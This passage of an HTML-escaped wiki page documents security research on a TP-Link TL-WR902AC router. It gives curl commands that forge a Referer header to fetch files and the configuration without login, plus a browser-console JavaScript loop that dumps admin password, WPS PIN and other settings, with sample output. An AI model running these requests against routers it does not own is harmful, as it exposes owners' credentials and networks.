│   ├── wlAdv.htm&lt;br /&gt;
│   ├── wlAdv5G.htm&lt;br /&gt;
│   ├── wlBasic.htm&lt;br /&gt;
│   ├── wlBasic5G.htm&lt;br /&gt;
│   ├── wlBasicAP.htm&lt;br /&gt;
│   ├── wlBasicAP5G.htm&lt;br /&gt;
│   ├── wlBasicHotspot.htm&lt;br /&gt;
│   ├── wlBasicHotspot5G.htm&lt;br /&gt;
│   ├── wlBasicMssid.htm&lt;br /&gt;
│   ├── wlConnect.htm&lt;br /&gt;
│   ├── wlConnect5G.htm&lt;br /&gt;
│   ├── wlExtender.htm&lt;br /&gt;
│   ├── wlExtender5G.htm&lt;br /&gt;
│   ├── wlFrequency.htm&lt;br /&gt;
│   ├── wlGuest.htm&lt;br /&gt;
│   ├── wlGuest5G.htm&lt;br /&gt;
│   ├── wlGuestStats.htm&lt;br /&gt;
│   ├── wlGuestStats5G.htm&lt;br /&gt;
│   ├── wlQss.htm&lt;br /&gt;
│   ├── wlQss5G.htm&lt;br /&gt;
│   ├── wlQssAdv.htm&lt;br /&gt;
│   ├── wlQssAdv5G.htm&lt;br /&gt;
│   ├── wlScan.htm&lt;br /&gt;
│   ├── wlScan5G.htm&lt;br /&gt;
│   ├── wlScanClient.htm&lt;br /&gt;
│   ├── wlScanClient5G.htm&lt;br /&gt;
│   ├── wlScheEdit.htm&lt;br /&gt;
│   ├── wlScheEdit5G.htm&lt;br /&gt;
│   ├── wlSec.htm&lt;br /&gt;
│   ├── wlSec5G.htm&lt;br /&gt;
│   ├── wlSecMssid.htm&lt;br /&gt;
│   ├── wlStats.htm&lt;br /&gt;
│   ├── wlStats5G.htm&lt;br /&gt;
│   ├── wlThroughput.htm&lt;br /&gt;
│   ├── wlThroughput5G.htm&lt;br /&gt;
│   ├── yandexDns.htm&lt;br /&gt;
│   └── yandexDnsEdit.htm&lt;br /&gt;
├── mainFrame.htm&lt;br /&gt;
├── qr.htm&lt;br /&gt;
└── xml&lt;br /&gt;
    └── log.txt&lt;br /&gt;
&lt;br /&gt;
8 directories, 388 files&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Using Packet Injection&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;In order to extract information from the server, one can either use cURL to forge packets or by using predefined JS functions executed via the webbrowsers console. Since any direct calls to the webserver end up in an &amp;lt;code&amp;gt;403 Forbidden&amp;lt;/code&amp;gt; http error, except for the root of the webserver, one needs to set the referer header to match the webservers IP address, this is necessary because the webpages is configured that the main frame usually loads content via AJAX without ever reloading the complete webpage. Using this method one can also set the authorization or session cookie if already aquired. Anywhow, this isn&#039;t needed for most calls on the TP-WR902AC with the FW version 170828. Seperate version may be listed below, depending on the firmware version.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Download any file from the webserver (Unauthorized)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;curl -X GET &amp;quot;http://192.168.1.1/js/oid_str.js&amp;quot; -H &amp;quot;Referer: http://192.168.1.1&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Get current session information (Authorized)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;curl -X POST &amp;quot;http://192.168.1.1/cgi/info&amp;quot; --cookie &amp;quot;Authorization=Basic YWRtaW46YWRtaW4=&amp;quot; -H &amp;quot;Referer: http://192.168.1.1&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;var userType=&amp;quot;Admin&amp;quot;;&lt;br /&gt;
var bSecured=0;&lt;br /&gt;
var clientLocal=1;&lt;br /&gt;
var clientIp=&amp;quot;192.168.1.100&amp;quot;;&lt;br /&gt;
var clientMac=&amp;quot;XX:XX:XX:XX:XX:XX&amp;quot;;&lt;br /&gt;
$.ret=0;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Download the device configuration (Unauthorized)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;$ curl -X POST &amp;quot;http://192.168.1.1/cgi/conf.bin&amp;quot; -H &amp;quot;Referer: http://192.168.1.1&amp;quot; --output ./conf.bin&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The downloaded &amp;lt;code&amp;gt;conf.bin&amp;lt;/code&amp;gt; has not been analyzed so far.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Using JavaScript Injection&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;cURL could also be used for CGI call using forged payload. But since the data format accepted by the CGI deamon is quite complicate to understand, so it is easier to let the JS libaries, delivered with the front-end webpage, do that job for us. Still, it is possible to forge or replay such payloads if aquired via packet sniffing or similar. The CGI accepted dataformat gets not much further analyzed here. Instead, the following commands are executed via the console of a webrowser executed on the TP-Link webpage using the &amp;lt;code&amp;gt;$.act()&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;$exe()&amp;lt;/code&amp;gt; function defined in &amp;lt;code&amp;gt;/js/lib.js&amp;lt;/code&amp;gt;. This will be elaborated in the next chapter [[#Common Gateway Interface|Common Gateway Interface]]. For now the examples used for information gathering without explanations.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin: 10px 0; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The Firmware identifiers used here are in fact the &amp;quot;buildDate&amp;quot; (YYMMDD). I use these to better draw link between differnet devices assuming a common code-base and vulnerabilities. See the [[#Firmware|Firmware]] section for more information.&amp;lt;/div&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Get Device Information including FW version.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
$.act(ACT_GET, IGD_DEV_INFO); $.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 190428&lt;br /&gt;
$.act(ACT_GET, IGD_DEV_INFO); $.exe(null, false, 0);&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Use ACT_GET (and ACT_GL) to create the largest possible Information leaking command.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 170828&lt;br /&gt;
var act_get_oid_list = [&amp;quot;IGD&amp;quot;, &amp;quot;IGD_DEV_INFO&amp;quot;, &amp;quot;SYSLOG_CFG&amp;quot;, &amp;quot;ETH_SWITCH&amp;quot;, &amp;quot;SYS_CFG&amp;quot;, &amp;quot;NET_CFG&amp;quot;, &amp;quot;USER_CFG&amp;quot;, &amp;quot;CURRENT_USER&amp;quot;, &amp;quot;APP_CFG&amp;quot;, &amp;quot;HTTP_CFG&amp;quot;, &amp;quot;DYN_DNS_CFG&amp;quot;, &amp;quot;UPNP_CFG&amp;quot;, &amp;quot;DIAG_TOOL&amp;quot;, &amp;quot;NOIP_DNS_CFG&amp;quot;, &amp;quot;CMX_DNS_CFG&amp;quot;, &amp;quot;WAN_TYPE_DETECT&amp;quot;, &amp;quot;DMZ_HOST_CFG&amp;quot;, &amp;quot;TIME&amp;quot;, &amp;quot;HOUR&amp;quot;, &amp;quot;L3_FORWARDING&amp;quot;, &amp;quot;L3_IP6_FORWARDING&amp;quot;, &amp;quot;L2_BRIDGING&amp;quot;, &amp;quot;LAN_HOST_ENTRY&amp;quot;, &amp;quot;WAN_ETH_INTF_STATS&amp;quot;, &amp;quot;WAN_L2TP_CONN_STATS&amp;quot;, &amp;quot;WAN_PPTP_CONN_STATS&amp;quot;, &amp;quot;WAN_PPP_CONN_STATS&amp;quot;, &amp;quot;STAT_CFG&amp;quot;, &amp;quot;DDOS_CFG&amp;quot;, &amp;quot;ARP_BIND&amp;quot;, &amp;quot;TC&amp;quot;, &amp;quot;ALG_CFG&amp;quot;, &amp;quot;FIREWALL&amp;quot;, &amp;quot;IP6_FIREWALL&amp;quot;, &amp;quot;IP6_TUNNEL&amp;quot;, &amp;quot;DSLITE&amp;quot;, &amp;quot;SIT_6RD&amp;quot;, &amp;quot;STORAGE_SERVICE&amp;quot;, &amp;quot;CAPABLE&amp;quot;, &amp;quot;FOLDER_BROWSE&amp;quot;, &amp;quot;DLNA_MEDIA_SERVER&amp;quot;, &amp;quot;SMB_SERVICE&amp;quot;, &amp;quot;FTP_SERVER&amp;quot;, &amp;quot;SYS_MODE&amp;quot;, &amp;quot;EWAN&amp;quot;, &amp;quot;CLOUD_SERVICE&amp;quot;, &amp;quot;FW_UPGRADE_INFO&amp;quot;, &amp;quot;OWNER_INFO&amp;quot;, &amp;quot;CURRENT_USER_INFO&amp;quot;, &amp;quot;CLOUD_DDNS&amp;quot;, &amp;quot;CLOUD_DDNS_ENTRY&amp;quot;, &amp;quot;WAN_ERROR_BLOCK&amp;quot;, &amp;quot;FW_UP_INFO_BLOCK&amp;quot;, &amp;quot;IPPING_DIAG&amp;quot;, &amp;quot;TRACEROUTE_DIAG&amp;quot;, &amp;quot;VLAN&amp;quot;, &amp;quot;IPV6_CFG&amp;quot;, &amp;quot;PRODUCE_INFO&amp;quot;, &amp;quot;MULTIMODE&amp;quot;, &amp;quot;PING_WATCH_DOG&amp;quot;];&lt;br /&gt;
for(let i=0; i&amp;lt;act_get_oid_list.length; i++){&lt;br /&gt;
	$.act(ACT_GET, act_get_oid_list[i]);&lt;br /&gt;
}&lt;br /&gt;
$.act(ACT_GL,LAN_WLAN);&lt;br /&gt;
$.exe();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example Results (447 lines) (&amp;lt;b&amp;gt;including &amp;quot;adminName&amp;quot;, &amp;quot;adminPwd&amp;quot;, &amp;quot;X_TP_PreSharedKey&amp;quot; and &amp;quot;flashPin&amp;quot;!&amp;lt;/b&amp;gt;)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;[0,0,0,0,0,0]0&lt;br /&gt;
deviceSummary=InternetGatewayDevice:1.1[](Baseline:1, EthernetLAN:1)&lt;br /&gt;
LANDeviceNumberOfEntries=1&lt;br /&gt;
WANDeviceNumberOfEntries=0&lt;br /&gt;
[0,0,0,0,0,0]1&lt;br /&gt;
manufacturer=TP-Link&lt;br /&gt;
manufacturerOUI=98DAC4&lt;br /&gt;
modelName=TL-WR902AC&lt;br /&gt;
description=AC750 Wi-Fi Travel Router&lt;br /&gt;
productClass=IGD&lt;br /&gt;
serialNumber=98DAC46E00FC&lt;br /&gt;
hardwareVersion=TL-WR902AC v3 00000001&lt;br /&gt;
softwareVersion=0.9.1 0.1 v0089.0 Build 170828 Rel.57433n(4555)&lt;br /&gt;
modemFirmwareVersion=&lt;br /&gt;
enabledOptions=&lt;br /&gt;
additionalHardwareVersion=00000001&lt;br /&gt;
additionalSoftwareVersion=&lt;br /&gt;
specVersion=1.0&lt;br /&gt;
provisioningCode=&lt;br /&gt;
upTime=16922&lt;br /&gt;
firstUseDate=&lt;br /&gt;
deviceLog=0x58801d58&lt;br /&gt;
X_TP_HardwareID=6146446FA85583FDD5135E8275E48010&lt;br /&gt;
X_TP_FirmwareID=EF04518B7BA1296A8F491C96C45F01E9&lt;br /&gt;
X_TP_HardwareDescription=TL-WR902AC 3.0&lt;br /&gt;
X_TP_isFD=1&lt;br /&gt;
X_TP_DevManufacturerURL=http://www.tp-link.com&lt;br /&gt;
X_TP_DevModelVersion=3.0&lt;br /&gt;
X_TP_ProductID=903311&lt;br /&gt;
X_TP_ProductVersion=137&lt;br /&gt;
X_TP_SoftwareRevision=1437204481&lt;br /&gt;
X_TP_SoftwareRevisionMinor=0&lt;br /&gt;
X_TP_PlatformVersion=2768242945&lt;br /&gt;
X_TP_BuildDate=170828&lt;br /&gt;
X_TP_BuildTime=57433&lt;br /&gt;
[0,0,0,0,0,0]2&lt;br /&gt;
logToRemote=0&lt;br /&gt;
remoteSeverity=4&lt;br /&gt;
serverIP=192.168.0.100&lt;br /&gt;
serverPort=514&lt;br /&gt;
facility=1&lt;br /&gt;
logToLocal=1&lt;br /&gt;
localSeverity=6&lt;br /&gt;
logHeadPos=0&lt;br /&gt;
logTailPos=3897&lt;br /&gt;
[0,0,0,0,0,0]3&lt;br /&gt;
enableVirtualPorts=0&lt;br /&gt;
numberOfVirtualPorts=4&lt;br /&gt;
ifName=eth0&lt;br /&gt;
[0,0,0,0,0,0]4&lt;br /&gt;
flashMac=98:DA:C4:6E:00:FC&lt;br /&gt;
flashPin=37490720&lt;br /&gt;
flashZoneId=EUR&lt;br /&gt;
flashDevId=8000FB75D7711C1F692E48B22DE039B81BA9945D&lt;br /&gt;
flashOemId=A724943A07C41281802668C26C685D1A&lt;br /&gt;
flashSpecialId=45550000&lt;br /&gt;
flashCountryCode=DE&lt;br /&gt;
sign=&lt;br /&gt;
signLen=0&lt;br /&gt;
publicKey1=BgIAAACkAABSU0ExAAQAAAEAAQCNrP4jIUWitcvDIHr3OHnlzLCjGyJoLXgY9uH7tAVaYN+2YWEQ9RuS4PIQo7uWwHs7PYTAh9vF&lt;br /&gt;
publicKey2=pdMfu6NNkdvneLUER5V7Q5HtmPXd3roiIMi55tK7lA0B67bjYpBE/JM+SLbyMRgeNWut0YoufpLNV24ZQa0p7Xj4M5m2ZDclnA==&lt;br /&gt;
publicKeyLen=200&lt;br /&gt;
signStatus=0&lt;br /&gt;
[0,0,0,0,0,0]5&lt;br /&gt;
DNSServers=192.168.0.1,0.0.0.0&lt;br /&gt;
DNSifAliasName=ewan_ipoe_d&lt;br /&gt;
currDNSServer=16820416&lt;br /&gt;
[0,0,0,0,0,0]6&lt;br /&gt;
rootName=&lt;br /&gt;
rootPwd=&lt;br /&gt;
adminName=admin&lt;br /&gt;
adminPwd=admin&lt;br /&gt;
userName=&lt;br /&gt;
userPwd=&lt;br /&gt;
[0,0,0,0,0,0]7&lt;br /&gt;
userName=&lt;br /&gt;
passwd=&lt;br /&gt;
httpSession=&lt;br /&gt;
userSetting=0&lt;br /&gt;
action=0&lt;br /&gt;
loginStatus=0&lt;br /&gt;
userRole=3&lt;br /&gt;
logInCloud=0&lt;br /&gt;
needReconn=0&lt;br /&gt;
[0,0,0,0,0,0]8&lt;br /&gt;
localHost=&lt;br /&gt;
remoteHost=&lt;br /&gt;
[0,0,0,0,0,0]9&lt;br /&gt;
httpCharset=utf-8&lt;br /&gt;
httpLocalEnabled=1&lt;br /&gt;
httpLocalPort=80&lt;br /&gt;
httpRemoteEnabled=0&lt;br /&gt;
httpRemotePort=80&lt;br /&gt;
httpsLocalEnabled=0&lt;br /&gt;
httpsLocalPort=443&lt;br /&gt;
httpsRemoteEnabled=0&lt;br /&gt;
httpsRemotePort=443&lt;br /&gt;
[0,0,0,0,0,0]10&lt;br /&gt;
enable=0&lt;br /&gt;
state=0&lt;br /&gt;
userName=&lt;br /&gt;
password=&lt;br /&gt;
userDomain=&lt;br /&gt;
server=members.dyndns.org&lt;br /&gt;
login=1&lt;br /&gt;
[0,0,0,0,0,0]11&lt;br /&gt;
enable=1&lt;br /&gt;
[0,0,0,0,0,0]12&lt;br /&gt;
currCommand=0&lt;br /&gt;
currHost=0.0.0.0&lt;br /&gt;
lastCommand=0&lt;br /&gt;
lastHost=0.0.0.0&lt;br /&gt;
lastResult=0&lt;br /&gt;
[0,0,0,0,0,0]13&lt;br /&gt;
enable=0&lt;br /&gt;
state=3&lt;br /&gt;
userName=&lt;br /&gt;
password=&lt;br /&gt;
userDomain=&lt;br /&gt;
server=dynupdate.no-ip.com&lt;br /&gt;
login=1&lt;br /&gt;
[0,0,0,0,0,0]14&lt;br /&gt;
enable=0&lt;br /&gt;
state=0&lt;br /&gt;
userName=&lt;br /&gt;
password=&lt;br /&gt;
userDomain1=&lt;br /&gt;
userDomain2=&lt;br /&gt;
userDomain3=&lt;br /&gt;
userDomain4=&lt;br /&gt;
userDomain5=&lt;br /&gt;
server=dns.comexe.cn&lt;br /&gt;
login=1&lt;br /&gt;
[0,0,0,0,0,0]15&lt;br /&gt;
ifName=&lt;br /&gt;
state=1&lt;br /&gt;
wanType=0&lt;br /&gt;
wanTypeGet=0&lt;br /&gt;
[0,0,0,0,0,0]16&lt;br /&gt;
enable=0&lt;br /&gt;
IPAddress=&lt;br /&gt;
[0,0,0,0,0,0]17&lt;br /&gt;
__status=2&lt;br /&gt;
NTPServer1=&lt;br /&gt;
NTPServer2=&lt;br /&gt;
NTPServer3=&lt;br /&gt;
NTPServer4=&lt;br /&gt;
NTPServer5=&lt;br /&gt;
currentLocalTime=2020-06-28T21:31:33+00:00&lt;br /&gt;
localTimeZone=+00:00&lt;br /&gt;
localTimeZoneName=&lt;br /&gt;
daylightSavingsUsed=0&lt;br /&gt;
daylightSavingsStart=&lt;br /&gt;
daylightSavingsEnd=&lt;br /&gt;
X_TP_DaylightSavingsStartWeekCount=0&lt;br /&gt;
X_TP_DaylightSavingsEndWeekCount=0&lt;br /&gt;
X_TP_ShowDaylightSavingOnWeb=1&lt;br /&gt;
[0,0,0,0,0,0]18&lt;br /&gt;
year=2020&lt;br /&gt;
month=6&lt;br /&gt;
day=28&lt;br /&gt;
hours=21&lt;br /&gt;
minutes=31&lt;br /&gt;
seconds=33&lt;br /&gt;
[0,0,0,0,0,0]19&lt;br /&gt;
__defaultGateway=192.168.0.1&lt;br /&gt;
__ifName=eth0.2&lt;br /&gt;
__ifAliasName=ewan_ipoe_d&lt;br /&gt;
defaultConnectionService=&lt;br /&gt;
forwardNumberOfEntries=0&lt;br /&gt;
[0,0,0,0,0,0]20&lt;br /&gt;
__defaultGateway=::&lt;br /&gt;
__ifName=eth0.2&lt;br /&gt;
__ifAliasName=ewan_ipoev6_d&lt;br /&gt;
defaultConnectionService=&lt;br /&gt;
IPv6ForwardNumberOfEntries=0&lt;br /&gt;
[0,0,0,0,0,0]21&lt;br /&gt;
maxBridgeEntries=16&lt;br /&gt;
maxFilterEntries=64&lt;br /&gt;
maxMarkingEntries=0&lt;br /&gt;
bridgeNumberOfEntries=1&lt;br /&gt;
filterNumberOfEntries=7&lt;br /&gt;
markingNumberOfEntries=0&lt;br /&gt;
availableInterfaceNumberOfEntries=7&lt;br /&gt;
[0,0,0,0,0,0]22&lt;br /&gt;
IPAddress=192.168.1.100&lt;br /&gt;
leaseTimeRemaining=5737&lt;br /&gt;
MACAddress=XX:XX:XX:XX:XX:XX&lt;br /&gt;
hostName=Z&lt;br /&gt;
X_TP_ConnType=1&lt;br /&gt;
[0,0,0,0,0,0]23&lt;br /&gt;
bytesSent=0&lt;br /&gt;
bytesReceived=0&lt;br /&gt;
packetsSent=0&lt;br /&gt;
packetsReceived=0&lt;br /&gt;
[0,0,0,0,0,0]24&lt;br /&gt;
ethernetBytesSent=0&lt;br /&gt;
ethernetBytesReceived=0&lt;br /&gt;
ethernetPacketsSent=0&lt;br /&gt;
ethernetPacketsReceived=0&lt;br /&gt;
ethernetErrorsSent=0&lt;br /&gt;
ethernetErrorsReceived=0&lt;br /&gt;
ethernetUnicastPacketsSent=0&lt;br /&gt;
ethernetUnicastPacketsReceived=0&lt;br /&gt;
ethernetDiscardPacketsSent=0&lt;br /&gt;
ethernetDiscardPacketsReceived=0&lt;br /&gt;
ethernetMulticastPacketsSent=0&lt;br /&gt;
ethernetMulticastPacketsReceived=0&lt;br /&gt;
ethernetBroadcastPacketsSent=0&lt;br /&gt;
ethernetBroadcastPacketsReceived=0&lt;br /&gt;
ethernetUnknownProtoPacketsReceived=0&lt;br /&gt;
[0,0,0,0,0,0]25&lt;br /&gt;
ethernetBytesSent=0&lt;br /&gt;
ethernetBytesReceived=0&lt;br /&gt;
ethernetPacketsSent=0&lt;br /&gt;
ethernetPacketsReceived=0&lt;br /&gt;
ethernetErrorsSent=0&lt;br /&gt;
ethernetErrorsReceived=0&lt;br /&gt;
ethernetUnicastPacketsSent=0&lt;br /&gt;
ethernetUnicastPacketsReceived=0&lt;br /&gt;
ethernetDiscardPacketsSent=0&lt;br /&gt;
ethernetDiscardPacketsReceived=0&lt;br /&gt;
ethernetMulticastPacketsSent=0&lt;br /&gt;
ethernetMulticastPacketsReceived=0&lt;br /&gt;
ethernetBroadcastPacketsSent=0&lt;br /&gt;
ethernetBroadcastPacketsReceived=0&lt;br /&gt;
ethernetUnknownProtoPacketsReceived=0&lt;br /&gt;
[0,0,0,0,0,0]26&lt;br /&gt;
ethernetBytesSent=0&lt;br /&gt;
ethernetBytesReceived=0&lt;br /&gt;
ethernetPacketsSent=0&lt;br /&gt;
ethernetPacketsReceived=0&lt;br /&gt;
ethernetErrorsSent=0&lt;br /&gt;
ethernetErrorsReceived=0&lt;br /&gt;
ethernetUnicastPacketsSent=0&lt;br /&gt;
ethernetUnicastPacketsReceived=0&lt;br /&gt;
ethernetDiscardPacketsSent=0&lt;br /&gt;
ethernetDiscardPacketsReceived=0&lt;br /&gt;
ethernetMulticastPacketsSent=0&lt;br /&gt;
ethernetMulticastPacketsReceived=0&lt;br /&gt;
ethernetBroadcastPacketsSent=0&lt;br /&gt;
ethernetBroadcastPacketsReceived=0&lt;br /&gt;
ethernetUnknownProtoPacketsReceived=0&lt;br /&gt;
[0,0,0,0,0,0]27&lt;br /&gt;
enable=0&lt;br /&gt;
interval=10&lt;br /&gt;
action=0&lt;br /&gt;
[0,0,0,0,0,0]28&lt;br /&gt;
enable=0&lt;br /&gt;
enableIcmpFilter=0&lt;br /&gt;
icmpThreshold=50&lt;br /&gt;
enableUdpFilter=0&lt;br /&gt;
udpThreshold=500&lt;br /&gt;
enableSynFilter=0&lt;br /&gt;
synThreshold=50&lt;br /&gt;
forbidLanPing=0&lt;br /&gt;
forbidWanPing=1&lt;br /&gt;
action=0&lt;br /&gt;
[0,0,0,0,0,0]29&lt;br /&gt;
enable=0&lt;br /&gt;
[0,0,0,0,0,0]30&lt;br /&gt;
TCRuleNumberOfEntries=0&lt;br /&gt;
enable=0&lt;br /&gt;
linkType=0&lt;br /&gt;
upTotalBW=0&lt;br /&gt;
downTotalBW=0&lt;br /&gt;
iptvEnable=0&lt;br /&gt;
iptvUpMinBW=0&lt;br /&gt;
iptvDownMinBW=0&lt;br /&gt;
voIPEnable=0&lt;br /&gt;
voIPUpMinBW=20&lt;br /&gt;
[0,0,0,0,0,0]31&lt;br /&gt;
pptpAlg=1&lt;br /&gt;
l2tpAlg=1&lt;br /&gt;
ipSecAlg=1&lt;br /&gt;
ftpAlg=1&lt;br /&gt;
tftpAlg=1&lt;br /&gt;
h323Alg=1&lt;br /&gt;
sipAlg=1&lt;br /&gt;
rtspAlg=1&lt;br /&gt;
hw_nat_enable=0&lt;br /&gt;
[0,0,0,0,0,0]32&lt;br /&gt;
enable=0&lt;br /&gt;
defaultAction=0&lt;br /&gt;
enalbeParentCtrl=0&lt;br /&gt;
parentMac=&lt;br /&gt;
[0,0,0,0,0,0]33&lt;br /&gt;
enable=0&lt;br /&gt;
defaultAction=0&lt;br /&gt;
[0,0,0,0,0,0]34&lt;br /&gt;
mechanism=2&lt;br /&gt;
associatedWanIfName=&lt;br /&gt;
enabled=0&lt;br /&gt;
localAddress=&lt;br /&gt;
associatedLanIfName=br0&lt;br /&gt;
[0,0,0,0,0,0]35&lt;br /&gt;
enabled=0&lt;br /&gt;
dynamic=0&lt;br /&gt;
remoteIPv6Address=&lt;br /&gt;
[0,0,0,0,0,0]36&lt;br /&gt;
enabled=0&lt;br /&gt;
dynamic=0&lt;br /&gt;
IPv4MaskLen=0&lt;br /&gt;
prefix=&lt;br /&gt;
prefixLen=0&lt;br /&gt;
borderRelayIPv4Address=&lt;br /&gt;
[0,0,0,0,0,0]37&lt;br /&gt;
enable=1&lt;br /&gt;
userAccountNumberOfEntries=0&lt;br /&gt;
physicalMediumNumberOfEntries=0&lt;br /&gt;
logicalVolumeNumberOfEntries=0&lt;br /&gt;
ready=1&lt;br /&gt;
[0,0,0,0,0,0]38&lt;br /&gt;
FTPCapable=1&lt;br /&gt;
supportedNetworkProtocols=SMB&lt;br /&gt;
supportedFileSystemTypes=FAT16,FAT32,NTFS&lt;br /&gt;
[0,0,0,0,0,0]39&lt;br /&gt;
targetPath=&lt;br /&gt;
[0,0,0,0,0,0]40&lt;br /&gt;
serverState=0&lt;br /&gt;
serverName=MediaShare:1&lt;br /&gt;
scanFlag=0&lt;br /&gt;
scanInterval=3600&lt;br /&gt;
[0,0,0,0,0,0]41&lt;br /&gt;
enable=1&lt;br /&gt;
anonymous=1&lt;br /&gt;
modified=0&lt;br /&gt;
[0,0,0,0,0,0]42&lt;br /&gt;
enable=1&lt;br /&gt;
portNumber=21&lt;br /&gt;
accessFromInternet=0&lt;br /&gt;
wanIP=0.0.0.0&lt;br /&gt;
modified=0&lt;br /&gt;
[0,0,0,0,0,0]43&lt;br /&gt;
mode=ETH&lt;br /&gt;
DSLL3ForwardingName=NO_INTERFACE&lt;br /&gt;
ETHL3ForwardingName=NO_INTERFACE&lt;br /&gt;
_3GL3ForwardingName=NO_INTERFACE&lt;br /&gt;
DSLL3IPv6ForwardingName=NO_INTERFACE&lt;br /&gt;
ETHL3IPv6ForwardingName=NO_INTERFACE&lt;br /&gt;
[0,0,0,0,0,0]44&lt;br /&gt;
enable=1&lt;br /&gt;
MACAddress=&lt;br /&gt;
ifName=eth0.2&lt;br /&gt;
[0,0,0,0,0,0]45&lt;br /&gt;
